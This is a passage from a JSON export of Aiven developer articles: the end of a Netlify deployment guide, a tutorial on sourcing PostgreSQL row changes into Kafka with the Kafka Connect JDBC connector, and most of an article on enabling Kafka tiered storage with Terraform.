Netlify deployment process. Make sure you have the PostgreSQL database up and running when deploying to achieve a working environment on the first try.]\n \n1. Visit the deployed site:\n\n Open the site from the Netlify admin user interface or from the command line with:\n\n ```shell\n netlify open --site\n ```\n \n ::alert[**Tip** When the site starts up, choose **Recipes** at the top left of the window to go to the main part of the app.]{type=\"success\"}\n\nCongratulations, you have now successfully deployed your application. Any subsequent changes you push will automatically be deployed to your site.\n\n## Use the application\n\nThis example application has a **Home** page with some relevant links and a **Recipes** page where you can browse and inspect recipes. You can like recipes that seem interesting and filter the list to show only liked ones. Furthermore, you can see interesting statistics from all of the recipes and those that are liked.\n\nAiven for PostgreSQL is used as the database for storing all recipes and whether they are liked or not. Aiven for Caching is not necessary for the app to function, but using it means that statistics are cached to offer faster response times. You can toggle the use of Aiven for Caching on and off, and the response times will be shown in the app to demonstrate the difference.\n\n## Find out more\n\nFor more information, see the\n\n* [Aiven documentation](https://docs.aiven.io)\n* [Aiven for PostgreSQL documentation](https://aiven.io/docs/products/postgresql)\n* [Aiven for Caching documentation](https://aiven.io/docs/products/redis)\n* [Netlify CLI Command list](https://cli.netlify.com/)\n","feature":{"_type":"featuredItem","active":false,"endDate":"2023-08-10T13:01:39.746Z"},"hierarchy":{"_ref":"e6555a63-f0c2-406b-896c-cbe290019c3c","_type":"reference"},"internalTags":[],"publishedAt":"2023-08-07T09:00:41.609Z","seo":{"_type":"metaData","metaImage":{"_type":"mainImage","alt":"Use Netlify to deploy your Next.js, Aiven for PostgreSQL® and Aiven for Redis®* app.","asset":{"_ref":"image-5c725bb78f89a7d7805acab993f1b30d8b5f514b-2500x1308-png","_type":"reference"}}},"slug":{"_type":"slug","current":"/developer/deploy-netlify-app-aiven-pg-caching"},"subtitle":"Find out how to deploy an example Netlify app that uses Next.js, Aiven for PostgreSQL® and Aiven for Caching","tags":[{"_key":"07a02862cd9d","_ref":"170e8cc3-b016-45ee-a9db-efec32d13a04","_type":"tag"},{"_key":"f113496184b7","_ref":"7585568a-42e1-4b7a-ba53-f416ed7c4ce2","_type":"tag"},{"_key":"ca1b50bd022f","_ref":"88d61a12-59e1-4532-a812-c2da586315f2","_type":"tag"},{"_key":"e3e12f4c7f31","_ref":"d95083d7-de5c-4ef4-a726-cd98672ba4b1","_type":"tag"}],"title":"Use Netlify to deploy your Next.js, PostgreSQL® and Aiven for Caching app"} {"__i18n_lang":"en","_createdAt":"2023-08-07T06:52:33Z","_id":"0c5d7b70-6dfe-43cd-8fee-00749136b7c1","_rev":"ZLvKaZvfbZlWBlGcpIpBrQ","_type":"devArticle","_updatedAt":"2024-01-29T15:45:11Z","body":"If we go back in history few years, the typical data pipeline was an app creating events and pushing them to a backend database. Data was then propagated to downstream applications via dedicated ETL flows at regular intervals, usually daily.\n\nIn these modern times, [Apache Kafka®](https://aiven.io/kafka) has become the default data platform. Apps write events to Kafka, which then distributes them in near-real-time to downstream sinks like databases or cloud storages. [Apache Kafka® Connect](https://aiven.io/kafka-connect), a framework to stream data into and out of Apache Kafka, represents a further optimisation that makes the ingestion and propagation of events just a matter of config files settings.\n\nWhat if we're facing an old app-to-database design? How can we bring it up-to-date and include Kafka in the game? Instead of batch exporting to the database at night, we can add Kafka to the existing system. Kafka Connect lets us integrate to an existing system and make use of more modern tech tools, without disrupting the original solution.\n\nOne way to do this is to use the Kafka Connect JDBC Connector. This post will walk you through an example of sourcing data from an existing table in PostgreSQL® and populating a Kafka topic with only the changed rows. This is a great approach for many use cases. But when no additional query load to the source system is allowed, you could also make use of change data capture solutions based on tools like Debezium. As we'll see later, [Aiven provides Kafka Connect as a managed service](https://aiven.io/kafka-connect) for both options. You can start your connectors without the hassle of managing a dedicated cluster.\n\n![Architecture Overview](//cdn.sanity.io/images/sczeoy4w/production/aeaeb093e2f18ac5203a1f2ba87bb1f3624e47a3-1058x314.png \"Kafka Connect in the architecture\")\n\nThis blog post provides an example of the Kafka Connect JDBC Source based on a PostgreSQL database. A more detailed explanation of the connector is provided in our documentation, [Create a JDBC source connector from PostgreSQL® to Apache Kafka®](https://aiven.io/docs/products/kafka/kafka-connect/howto/jdbc-source-connector-pg)\n\nIn our example, we first create a PostgreSQL database to act as backend data storage for our imaginary application. Then we create a Kafka cluster with Kafka Connect and show how any new or modified row in PostgreSQL appears in a Kafka topic.\n\n## Creating the PostgreSQL Source system\n\nWe'll create the whole setup using the [Aiven Command Line Interface](https://aiven.io/docs/tools/cli). Follow the instructions in that document to install the `avn` command and log in.\n\n\nOnce you've logged in to the Aiven client, we can create a PostgreSQL database with the following `avn` command in our terminal:\n\n```bash\navn service create pg-football \\\n -t pg \\\n --cloud google-europe-west3 \\\n -p business-4\n```\n\nThis command creates a PostgreSQL database (that's what `-t pg` does) named `pg-football` on region `google-europe-west3`. The selected plan driving the amount of resources available and associated billing is `business-4`.\n\nThe create command returns immediately, Aiven received the request and started creating the instance. We can wait for the database to be ready with the following command:\n\n```bash\navn service wait pg-football\n```\nThe `wait` command can be executed against any Aiven instance, and returns only when the service is in `RUNNING` mode.\n\n### Time to Scout Football Players\n\nNow let's create our playground: we are a football scouting agency, checking players all over the world and our app pushes the relevant data to a PostgreSQL table. Let's login to PostgreSQL from the terminal:\n\n```bash\navn service cli pg-football\n```\n\nOur agency doesn't do a great job at scouting, all we are able to capture is the player's `name`, `nationality` and a flag `is_retired` showing their activity status.\nWe create a simple `football_players` table containing the above information together with two control columns:\n* `created_at` keeping the record's creation time\n* `modified_at` for the row's last modification time\n\nThese two columns will later be used from the Kafka Connect connector to select the recently changed rows.\nNow it's time to create the table from the PostgreSQL client:\n\n```sql\nCREATE TABLE football_players (\n name VARCHAR ( 50 ) PRIMARY KEY,\n nationality VARCHAR ( 255 ) NOT NULL,\n is_retired BOOLEAN DEFAULT false,\n created_at TIMESTAMP NOT NULL DEFAULT NOW(),\n modified_at TIMESTAMP\n);\n```\n\nThe `created_at` field will work as expected immediately, with the `DEFAULT NOW()` definition.\nThe `modified_at` on the other side, requires a bit more tuning to be usable. We'll need to create a trigger that inserts the current timestamp in case of updates. The following SQL can be executed from the PostgreSQL client:\n\n```sql\nCREATE OR REPLACE FUNCTION change_modified_at()\n RETURNS TRIGGER\n LANGUAGE PLPGSQL\n AS\n$$\nBEGIN\n\tNEW.modified_at := NOW();\n\tRETURN NEW;\nEND;\n$$\n;\nCREATE TRIGGER modified_at_updates\n BEFORE UPDATE\n ON football_players\n FOR EACH ROW\n EXECUTE PROCEDURE change_modified_at();\n```\n\nThe first statement creates the `change_modified_at` function that will later be used by the `modified_at_updates` trigger.\n\n### Football Scouting App at Work\n\nWe can now simulate our football scouting app behaviour by manually inserting three rows in the `football_players` table from the PostgreSQL client with\n\n```sql\nINSERT INTO football_players (name, nationality, is_retired)\n VALUES ('Andrea Pirlo','Italian', true);\nINSERT INTO football_players (name, nationality, is_retired)\n VALUES ('Cristiano Ronaldo','Portuguese', false);\nINSERT INTO football_players (name, nationality, is_retired)\n VALUES ('Megan Rapinoe','American', true);\n```\n\nWe can verify that the `created_at` column is successfully populated in PostgreSQL with\n\n```sql\nSELECT * FROM football_players;\n```\n\nWhich will output\n\n```\n name | nationality | is_retired | created_at | modified_at\n-------------------+-------------+------------+----------------------------+-------------\n Andrea Pirlo | Italian | t | 2021-03-11 10:35:52.04076 |\n Cristiano Ronaldo | Portuguese | f | 2021-03-11 10:35:52.060104 |\n Megan Rapinoe | American | t | 2021-03-11 10:35:52.673554 |\n(3 rows)\n```\n\nPerfect, the app is working when inserting new rows. If only we could have an update to an existing row...\n\n![Breaking news - Pirlo comes out of retirement](//cdn.sanity.io/images/sczeoy4w/production/677b8f2b019d0f59017d37e98baee0052f32cb2f-739x258.png \"Pirlo's back\")\n\nWell, this was somehow expected, Juventus FC went out of Champions League and needed new energy in the midfield. We can update the relevant row with\n\n```sql\nUPDATE football_players SET is_retired=false WHERE name='Andrea Pirlo';\n```\n\nWe can check that the `modified_at` is correctly working by issuing the same `select * from football_players;` statement in the PostgreSQL client and checking the following output\n\n```\n name | nationality | is_retired | created_at | modified_at \n------------------+-------------+------------+----------------------------+----------------------------\nCristiano Ronaldo | Portuguese | f | 2021-03-11 10:35:52.060104 |\nMegan Rapinoe | American | t | 2021-03-11 10:35:52.673554 |\nAndrea Pirlo | Italian | f | 2021-03-11 10:35:52.04076 | 2021-03-11 10:39:49.198286\n(3 rows)\n```\n\nOk, we recreated the original setup: our football scouting app is correctly storing data in the `football_players` table. In the old days the extraction of that data was demanded to an ETL flow running overnight and pushing it to the downstream applications. Now, as per our original aim, we want to include Apache Kafka in the game, so... let's do it!\n\n## Creating a Kafka environment\n\nAs stated initially, our goal is to base our data pipeline on Apache Kafka without having to change the existing setup. We don't have a Kafka environment available right now, but we can easily create one using Aiven's CLI from the terminal with the following `avn` command\n\n```bash\navn service create kafka-football \\\n -t kafka \\\n --cloud google-europe-west3 \\\n -p business-4 \\\n -c kafka.auto_create_topics_enable=true \\\n -c kafka_connect=true\n```\n\nThe command creates an Apache Kafka instance (`-t kafka`) in `google-europe-west3` with the `business-4` plan.\nAdditionally it enables the topic auto-creation (`-c kafka.auto_create_topics_enable=true`) so our applications can create topics on the fly without forcing us to create them beforehand.\nFinally, it enables Kafka Connect (`-c kafka_connect=true`) on the same Kafka instance. We can use the `avn wait` command mentioned above to pause until the Kafka cluster is in `RUNNING` state.\n\nNote that on Kafka instances part of the `startup` plans, you'll be forced to create a standalone Kafka Connect instance. For production systems, we recommend using standalone Kafka Connect for the separation of concerns principle.\n\n### Connecting the dots\n\nThe basic building blocks are ready: our source system represented by the `pg-football` PostgreSQL database with the `football_players` table and the `kafka-football` Apache Kafka instances are running. It's now time to connect the two: creating a new event in Kafka every time an insert or modified row appears in PostgreSQL. That can be achieved by creating a Kafka Connect JDBC source connector.\n\n## Create a JSON configuration file\n\nStart by creating a JSON configuration file like the following:\n\n```json\n{\n \"name\": \"pg-timestamp-source\",\n \"connector.class\": \"io.aiven.connect.jdbc.JdbcSourceConnector\",\n \"connection.url\": \"jdbc:postgresql://\u003cHOSTNAME\u003e:\u003cPORT\u003e/\u003cDATABASE\u003e?sslmode=require\",\n \"connection.user\": \"\u003cPG_USER\u003e\",\n \"connection.password\": \"\u003cPG_PASSWORD\u003e\",\n \"table.whitelist\": \"football_players\",\n \"mode\": \"timestamp\",\n \"timestamp.column.name\":\"modified_at,created_at\",\n \"poll.interval.ms\": \"2000\",\n \"topic.prefix\": \"pg_source_\"\n}\n```\n\nWhere the important parameters are:\n* `name`: the name of the Kafka Connect connector, in our case `pg-timestamp-source`\n* `connection.url`: the connection URL pointing to the PostgreSQL database, in the form of `jdbc:postgresql://\u003cHOSTNAME\u003e:\u003cPORT\u003e/\u003cDATABASE\u003e?\u003cADDITIONAL_PARAMETERS\u003e`, we can create it with the `dbname`, `host`, `port` output of the following `avn` command\n\n```bash\navn service get pg-football --format '{service_uri_params}'\n```\n\n* `connection.user` and `connection.user`: PostgreSQL credentials, the default `avnadmin` credentials are available as `user` and `password` output of the `avn` command above\n* `table.whitelist`: list of tables to source from PostgreSQL, in our case is `football_players`\n* `mode`: Kafka Connect JDBC mode. Three modes are available: `bulk`, `incrementing`, `timestamp`. For this post we'll use the `timestamp` one. For a more detailed description of modes, please refer to the [help article](https://aiven.io/docs/products/kafka/kafka-connect/howto/jdbc-source-connector-pg)\n* `timestamp.column.name`: list of timestamp column names: The value for this setting should be `modified_at,created_at` since `modified_at` will contain the most recent update timestamp, and in case of null value, we can rely on the `created_at` column.\n* `poll.interval.ms`: time between database polls\n* `topic.prefix`: prefix for topic, the full topic name will be a concatenation of `topic.prefix` and the PostgreSQL table name.\n\n### Start the JDBC connector\n\nAfter storing the above JSON in a file named `kafka_jdbc_config.json`, we can now start the Kafka Connect JDBC connector in our terminal with the following command:\n\n```bash\navn service connector create kafka-football @kafka_jdbc_config.json\n```\n\nWe can verify the status of the Kafka Connect connector with the following `avn` command:\n\n```bash\navn service connector status kafka-football pg-timestamp-source\n```\nNote that the last parameter `pg-timestamp-source` in the `avn` command above refers to the Kafka Connect connector name defined in the `name` setting of the `kafka_jdbc_config.json` configuration file. If all settings are correct, the above command will show our healthy connector being in `RUNNING` mode\n\n```json\n{\n \"status\": {\n \"state\": \"RUNNING\",\n \"tasks\": [\n {\n \"id\": 0,\n \"state\": \"RUNNING\",\n \"trace\": \"\"\n }\n ]\n }\n}\n```\n\n### Check the data in Kafka with kcat\n\nThe data should now have landed in Apache Kafka. How can we check it?\nWe can use [kcat](https://aiven.io/docs/products/kafka/howto/kcat) a nice command line utility.\n\nOnce `kcat` is installed, we'll need to set up the connection to our Kafka environment.\n\nAiven by default enables SSL certificate based authentication. The certificates are available from the Aiven console for manual download. In Aiven CLI you can avoid the clicking with the following `avn` command in our terminal:\n\n```bash\nmkdir -p kafkacerts\navn service user-creds-download kafka-football \\\n -d kafkacerts \\\n --username avnadmin\n```\n\nThese commands create a `kafkacerts` folder (if not existing already) and download in it the `ca.pem`, `service.cert` and `service.key` SSL certificates required to connect.\n\nThe last missing piece of information that `kcat` needs is where to find our Kafka instance in terms of `hostname` and `port`. This information can be displayed in our terminal with the following `avn` command\n\n```bash\navn service get kafka-football --format '{service_uri}'\n```\n\nOnce we collected the required info we can create a `kcat.config` file with the following entries\n\n```\nbootstrap.servers=\u003cKAFKA_SERVICE_URI\u003e\nsecurity.protocol=ssl\nssl.key.location=kafkacerts/service.key\nssl.certificate.location=kafkacerts/service.cert\nssl.ca.location=kafkacerts/ca.pem\n```\n\nRemember to substitute the `\u003cKAFKA_SERVICE_URI\u003e` with the output of the `avn service get` command mentioned above.\n\nNow we are ready to read the topic from Kafka by pasting the following command in our terminal:\n\n```bash\nkcat -F kcat.config -C -t pg_source_football_players\n```\n\nNote that we are using `kcat` in consumer mode (flag `-C`) reading from the topic `pg_source_football_players` which is the concatenation of the `topic.prefix` setting in Kafka Connect and the name of our `football_players` PostgreSQL table.\n\nAs expected, since the connector is working, `kcat` will output the three messages present in the Kafka topic matching the three rows in the `football_players` PostgreSQL table\n\n```json\n{\"name\":\"Cristiano Ronaldo\",\"nationality\":\"Portuguese\",\"is_retired\":false,\"created_at\":1615458952060,\"modified_at\":null}\n{\"name\":\"Megan Rapinoe\",\"nationality\":\"American\",\"is_retired\":true,\"created_at\":1615458952673,\"modified_at\":null}\n{\"name\":\"Andrea Pirlo\",\"nationality\":\"Italian\",\"is_retired\":false,\"created_at\":1615458952040,\"modified_at\":1615459189198}\n% Reached end of topic pg_source_football_players [0] at offset 3\n```\n## Updating the listings\n\nNow, let's see if our football scouts around the world can fetch some news for us\n\n![Ronaldo retires, enter Gorlami](//cdn.sanity.io/images/sczeoy4w/production/a4af59e353e65887cb622fb25ed5950691022b85-1570x661.png \"Ronaldo retires, enter Gorlami\")\n\nWow, we found a new talent named `Enzo Gorlami` and `Cristiano Rolando` officially retired today from professional football (please be aware this post is not reflecting football reality). Let's push the two news to PostgreSQL:\n\n```sql\nINSERT INTO football_players (name, nationality, is_retired)\n VALUES ('Enzo Gorlami','Italian', false);\n UPDATE football_players SET is_retired=true WHERE name='Cristiano Ronaldo';\n```\n\nWe can verify that the data is correctly stored in the database:\n```\ndefaultdb=\u003e select * from football_players;\n name | nationality | is_retired | created_at | modified_at \n-------------------+-------------+------------+----------------------------+----------------------------\n Megan Rapinoe | American | t | 2021-03-11 10:35:52.673554 |\n Andrea Pirlo | Italian | f | 2021-03-11 10:35:52.04076 | 2021-03-11 10:39:49.198286\n Enzo Gorlami | Italian | f | 2021-03-11 11:09:49.411885 |\n Cristiano Ronaldo | Portuguese | t | 2021-03-11 10:35:52.060104 | 2021-03-11 11:11:36.790781\n(4 rows)\n```\n\nAnd in Kafkacat we receive the following two updates:\n\n```json\n{\"name\":\"Enzo Gorlami\",\"nationality\":\"Italian\",\"is_retired\":false,\"created_at\":1615460989411,\"modified_at\":null}\n% Reached end of topic pg_source_football_players [0] at offset 4\n{\"name\":\"Cristiano Ronaldo\",\"nationality\":\"Portuguese\",\"is_retired\":true,\"created_at\":1615458952060,\"modified_at\":1615461096790}\n% Reached end of topic pg_source_football_players [0] at offset 5\n```\n## Further reading\nIf you want to know more about Aiven, Kafka, Kafka Connect or PostgreSQL, check the references below:\n\n* [Kafka Connect JDBC Source PostgreSQL](https://aiven.io/docs/products/kafka/kafka-connect/howto/jdbc-source-connector-pg)\n* [An introduction to PostgreSQL](https://aiven.io/blog/an-introduction-to-postgresql)\n* List of [Aiven supported Kafka Connect Connectors](https://aiven.io/docs/products/kafka/kafka-connect/concepts/list-of-connector-plugins)\n* [Kafka Connect Preview](https://aiven.io/blog/kafka-connect-preview)\n* [Aiven Command Line Interface](https://aiven.io/docs/tools/cli)\n\n## Wrapping up\nThis blog post showed how to easily integrate PostgreSQL and Apache Kafka with a fully managed, config-file-driven Kafka Connect JDBC connector. We used a timestamp-based approach to retrieve the changed rows since the previous poll and push them to a Kafka topic increasing the query load to the source database.\n\nAn alternative method is represented by Change Data Capture solutions like Debezium, which, in case of PostgreSQL, reads changes directly from WAL files avoiding any additional query load on the source database. A guide on how to setup CDC for Aiven PostgreSQL is provided in [Create a Debezium source connector from PostgreSQL® to Apache Kafka®](https://aiven.io/docs/products/kafka/kafka-connect/howto/debezium-source-connector-pg).\n\n--\n\nNot using Aiven services yet? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog) and [RSS feeds](https://aiven.io/developer/feed.xml) or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.","feature":{"_type":"featuredItem","active":false,"endDate":"2023-08-14T06:52:12.183Z"},"hierarchy":{"_ref":"185b7847-7030-4530-ad9c-89a0772c8be9","_type":"reference"},"publishedAt":"2021-03-25T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"Find out how to use Apache Kafka® Connect to update an old app-to-db design to use up-to-date tech tools without disrupting the original solution.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-7c234a93721bd5c745364ec06e97f83b53aa58f5-1200x628-jpg","_type":"reference"}},"metaTitle":"Using Kafka Connect JDBC Source: a PostgreSQL® example"},"slug":{"_type":"slug","current":"/developer/using-kafka-connect-jdbc-source-a-postgresql-example"},"subtitle":"Find out how to use Apache Kafka® Connect to update an old app-to-db design to use up-to-date tech tools without disrupting the original solution.","tags":[{"_key":"b4dec757d167","_ref":"88d61a12-59e1-4532-a812-c2da586315f2","_type":"tag"},{"_key":"4512a912a784","_ref":"3c547914-626c-4ae5-8d0c-a0400bcc5e7f","_type":"tag"},{"_key":"856bd46b944f","_ref":"7585568a-42e1-4b7a-ba53-f416ed7c4ce2","_type":"tag"},{"_key":"64a2c607f3b7","_ref":"a04702b4-48a1-492f-9600-6bd38971cc2c","_type":"tag"}],"title":"Using Kafka Connect JDBC Source: a PostgreSQL® example"} {"__i18n_lang":"en","_createdAt":"2024-02-19T16:21:27Z","_id":"a5e83a3d-2ace-4b5c-a9e1-9046a66959ed","_rev":"ie5WJlLr1SLUBaBgCnxbYm","_type":"devArticle","_updatedAt":"2024-02-20T13:10:03Z","body":"The Apache Kafka® 3.6.0 release brings a highly anticipated feature – tiered storage. Although still [in early access](https://cwiki.apache.org/confluence/display/KAFKA/Kafka+Tiered+Storage+Early+Access+Release+Notes) and accompanied by [certain limitations](https://docs.aiven.io/docs/products/kafka/concepts/tiered-storage-limitations), it marks a significant milestone. You can already experiment with it in non-production workflows to enhance scalability and cost efficiency.\nIn this article we’ll look at what is tiered storage, how you can start using it with Aiven for Apache Kafka and Terraform. We’ll set up a cluster, load the data and observe the metrics.\n\n## What is tiered storage in Apache Kafka\n\nTo understand tiered storage in Apache Kafka, we must first look at how Apache Kafka stores data on the disk. Apache Kafka organizes logs for each partition into segments – sequentially written, immutable files. Each segment contains a range of messages.\n\nFor the sake of visualization below, let’s say that the first segment created is Segment0, and the latest currently populated with data is Segment N.\n\n![visualisation of segments in a partition as it was before Kafka 3.6](https://cdn.sanity.io/images/sczeoy4w/production/93853002b8ed0f79a7e3e29aad33c1633acd0d41-1552x550.png)\n\nThe segment still accepting data writes is considered to be active, in contrast to a “closed” older segment where data is no longer appended. \n\nWhen we talk about log retention in Apache Kafka, we mean that when the retention limit for a closed segment is exceeded, the segment is deleted.\n\nWhile this might be a simplified overview, it helps us understand the recent changes added to Kafka's partition architecture to enable tiered storage functionality introduced by the Kafka community.\n\n### Apache Kafka's unified log\n\nAs part of [KIP-405](https://cwiki.apache.org/confluence/display/KAFKA/KIP-405%3A+Kafka+Tiered+Storage) Apache Kafka was refactored in how it views the log, introducing the concept of a “unified log” that combines the local log (data stored on the broker’s disk), with the remote log (data stored remotely, for example, in an Amazon S3 bucket).\n\n![Unified log added as part of Kafka 3.6](https://cdn.sanity.io/images/sczeoy4w/production/e94b259cb9f7d7bd5562ab4ad4fda62cebdc5763-1496x1036.png)\n\nTiered storage in Apache Kafka means tiering data by retention: older data is moved to remote storage, while recent data stays on the broker. To activate tiered storage for a topic, you'll need to specify the limit for the local retention - either in time or in the amount of bytes. When this limit is reached and data is confirmed to be stored remotely, a local copy is marked to be deleted and the data will then be accessible from the remote storage.\n\nNote that Apache Kafka will try to proactively move any closed segments to the remote storage to ensure that local data can be safely deleted by the time the local retention period is reached. That's the reason for oftentimes having an overlap between logs that have a copy in both the local and remote storage.\n\n### Apache Kafka’s pluggable interface for tiered storage\n\n[KIP-405](https://cwiki.apache.org/confluence/display/KAFKA/KIP-405%3A+Kafka+Tiered+Storage) describes the Kafka community's work on incorporating tiered storage into the broker's architecture. However, the broker-side implementation itself is not sufficient for end-to-end use cases. While brokers now include the necessary functionality to schedule jobs to copy segments to some external storage, delete old segments, and work seamlessly with Kafka's unified log, we still need an extra piece - the integration with external data storage, such as Amazon S3 or Google Cloud Storage to efficiently write and consume data. Taking into account the variety of external storages and specific workflows, Apache Kafka provides a pluggable interface and leaves the implementation to vendors and the community itself.\n\nImplementing this interface comes with some additional challenges beyond merely calling the S3 API and shipping data. You see, the segments that we talked about can be huge - Gigabytes in size. Most probably you wouldn't want to send and receive such chunks of data over the network. You'd want to at least compress and encrypt each of those segments, and maybe even divide the segments into smaller chunks that are faster to write and read from the remote storage. Although tiered storage was added to Apache Kafka to avoid some bottlenecks, its improper usage can create some new issues that you probably want to avoid.\n\n## Aiven's tiered storage plugin\n\nAiven addresses these challenges by implementing its own [tiered storage plugin](https://github.com/Aiven-Open/tiered-storage-for-apache-kafka), which is capable of efficiently chunking, encrypting, compressing, and caching large log segments. The plugin supports various configurable storage backends, such as Amazon S3, Google Cloud Storage, and Azure Blob Storage.\n\nYou can use this plugin both by using tiered storage with Aiven for Apache Kafka or [applying the plugin to your self-hosted Apache Kafka](https://github.com/Aiven-Open/tiered-storage-for-apache-kafka/tree/main/demo).\n\nBelow we’ll show how to use Aiven for Apache Kafka with Aiven's tiered storage plug-in. To follow along, you'll need to be registered with Aiven to create an Aiven for Apache Kafka service. You can register [over here](https://console.aiven.io/signup).\n\n### Enable tiered storage in Aiven for Apache Kafka\n\nPlease note that at the moment of writing this article, tiered storage is still in [early availability](https://docs.aiven.io/docs/platform/concepts/beta_services) and therefore is not recommended for production workloads. To activate tiered storage for your account, contact Aiven's sales team at sales@aiven.io. After activation, enable the feature from [the feature preview page](https://docs.aiven.io/docs/platform/howto/feature-preview) in your user profile to start using tiered storage.\n\n## Terraform script to create Aiven for Apache Kafka with tiered storage enabled\nIn this section, we show how to create an Aiven for Apache Kafka service and add a topic with enabled tiered storage using [Aiven's Provider for Terraform](https://registry.terraform.io/providers/aiven/aiven/latest/docs). If you don't have Terraform installed, follow the instructions [from the Terraform documentation](https://developer.hashicorp.com/terraform/install). \n\nIf you're in a rush, you can also check the complete code in [the GitHub repository accompanying this article](https://github.com/Aiven-Labs/kafka-tiered-storage-terraform-setup). Otherwise, follow along for the code step by step.\n\nAlternatively, if you're not a big fan of Terraform (I won't tell this to anyone!), check [our documentation](https://docs.aiven.io/docs/products/kafka/howto/enable-kafka-tiered-storage) to see how to enable tiered storage using the Aiven Console or Aiven's CLI.\n\nTo follow best practices, we'll split our Terraform script into several files to have a clean separation of concerns:\n1. A provider - provider.tf,\n2. List of variables - variables.tf and variables.tfvars,\n3. Resources necessary to run an Aiven for Apache Kafka service - kafka-resources.tf.\n\nLet's look at them one by one.\n\n### Provider\nStart by creating **provider.tf**. This is where we'll define Aiven's Terraform provider and its specific version:\n\n```tf\nterraform {\n required_providers {\n aiven = {\n source = \"aiven/aiven\"\n version = \"\u003e= 4.13.1\"\n }\n }\n}\n\nprovider \"aiven\" {\n api_token = var.aiven_api_token\n}\n```\nTo initialize the provider you'll need a token, for now we've referenced a not yet existing variable, but we'll come back to the creation of the token in the next section.\n\n### Variables\nTo avoid hard-coded credentials(such as API tokens), or to have flexible values (a project name, for example), we'll put those as variables into a separate file **variables.tfvars**:\n\n```tf\naiven_api_token=\"PUT YOUR OWN TOKEN HERE\"\nproject_name=\"WRITE HERE YOUR PROJECT NAME\"\n```\nTo generate Aiven's API token follow [these instructions from Aiven's documentation](https://docs.aiven.io/docs/platform/howto/create_authentication_token).\nWe'll also need to add the definition of these variables so that we can reference them from terraform files. Create **variables.tf** and add the following:\n\n```tf\nvariable \"aiven_api_token\" {\n description = \"Aiven API token.\"\n type = string\n}\nvariable \"project_name\" {\n description = \"Aiven project name\"\n type = string\n}\n```\n\nWith all of this done we can move to the core of our Terraform script and define the resources that we want to create.\n\n### Resources\n\nFirst, we want to create the Aiven for Apache Kafka service itself. We need to specify the project that the service belongs to as well as other basic parameters. Create kafka-resources.tf and add the following::\n\n```tf\nresource \"aiven_kafka\" \"kafka1\" {\n project = var.project_name\n cloud_name = \"google-europe-west1\"\n plan = \"business-4\"\n service_name = \"example-kafka-service-with-tiered-storage\"\n\n kafka_user_config {\n tiered_storage {\n enabled = true\n }\n kafka_version = \"3.6\"\n }\n}\n```\nNote that to enable tiered storage for Aiven for Apache Kafka you need to have the following:\n- Apache Kafka version should be at least 3.6.0\n- Enabled **tiered_storage** in **kafka_user_config** \n- A plan that supports tiered storage. [Check the available plans over here](https://aiven.io/pricing?product=kafka)\n\nNext, add the resources for a topic: \n\n```tf\n# Topic for Kafka\nresource \"aiven_kafka_topic\" \"sample_topic\" {\n project = var.project_name\n service_name = aiven_kafka.kafka1.service_name\n topic_name = \"sample_topic_with_tiered_storage\"\n partitions = 3\n replication = 2\n config {\n remote_storage_enable = true\n local_retention_ms = 300000 # 5 min\n segment_bytes = 1000000 # 1 Mb\n }\n}\n```\nNote that for this example we use a very small size of ``segment_bytes`` - just 1 Mb(from the default value of 1 Gb). This will speed up closing the segments and moving them to tiered storage. With this setting we can demonstrate tiered storage in action very quickly, however, using such small value ``segment_bytes`` is not something to recommend for production systems, because it will cause too many open files and performance issues. \n\nTo enable tiered storage for a topic make sure that you:\n- enabled **remote_storage_enable**,\n- set a limit to the local retention either by time (**local_retention_ms**) or by space (**local_retention_bytes**).\n\n### Planning and applying changes\n\nWe're ready to run the terraform script! First we need to run ``terraform init``, then If you want to preview the changes that terraform will do, run\n\n```sh\nterraform plan -var-file=variables.tfvars\n```\nThis will allow you to make sure that planned changes is exactly what you expected.\nTo apply the changes run\n\n```sh\nterraform apply -var-file=variables.tfvars\n```\nVerify the changes and type **yes** if you want to proceed. It will take some minutes to deploy the service.\n\nAnd that's it! Once your service is deployed you will be able to use additional tiered storage available for the topic. The data will be gradually moved to the tiered storage. This means that you can store huge volumes of log data over longer periods and have a clear separation between storage and computing. All of this will happen with no changes to the consumer logic.\n\nTo observe how data moves to tiered storage, let's load some test data.\n\n### Loading data\nYou can use any test data that you like. I've [streamed Mastodon data](https://aiven.io/developer/mastodon-kafka-js), you can do that as well, or by using the [Sample dataset generator for Aiven for Apache Kafka](https://docs.aiven.io/docs/products/kafka/howto/fake-sample-data), or even with **kafka-producer-perf-test.sh** that is available with any Kafka distribution. The data itself is not that important for us, what we need is enough data, so that we can start seeing it moving to tiered storage.\n\n### Important logs and metrics\n\nIf you look at the logs of your Aiven for Apache Kafka service, you'll notice log entries indicating that the data is sent to the remote storage:\n\n![Logs showing that INFO Copying log segment data with metadata](https://cdn.sanity.io/images/sczeoy4w/production/773df856b0d4a01e3af5ceda7565143a243b0c6d-2350x214.png)\n\nThe Aiven Console already visualizes the most important metrics for tiered storage. This is where you can see current billing expenses, forecasted monthly cost, set the remote tier usage, and more:\n\n![Aiven console tiered storage section showing prediction for costs](https://cdn.sanity.io/images/sczeoy4w/production/f9bfbb77b696f02fd9711c32e0c4b0a82f97d983-3024x1380.png)\n\n## Cleaning up\n\nOnce you're done with this experiment, you can remove the resources create by Terraform by runing\n\n```sh\nterraform destroy -var-file=variables.tfvars\n```\n\n## Wrap up\nIn this article, we've looked at what is tiered storage in Apache Kafka and how you can start using it already today with Aiven and Terraform. \nLearn more about tiered storage and how to use it with Aiven for Apache Kafka from our documentation:\n\n- [Tiered storage overview in Aiven Console](https://docs.aiven.io/docs/products/kafka/howto/tiered-storage-overview-page)\n- [Tiered storage in Aiven for Apache Kafka® overview](https://docs.aiven.io/docs/products/kafka/concepts/kafka-tiered-storage)\n- [How tiered storage works in Aiven for Apache Kafka®](https://docs.aiven.io/docs/products/kafka/concepts/tiered-storage-how-it-works)\n\nIf you want to expand your knowledge on Terraform, check out these resources we have:\n- [Import your existing data platform using Terraform](https://aiven.io/developer/import-your-existing-data-platform-using-terraform)\n- [Connect Apache Kafka® to OpenSearch® with 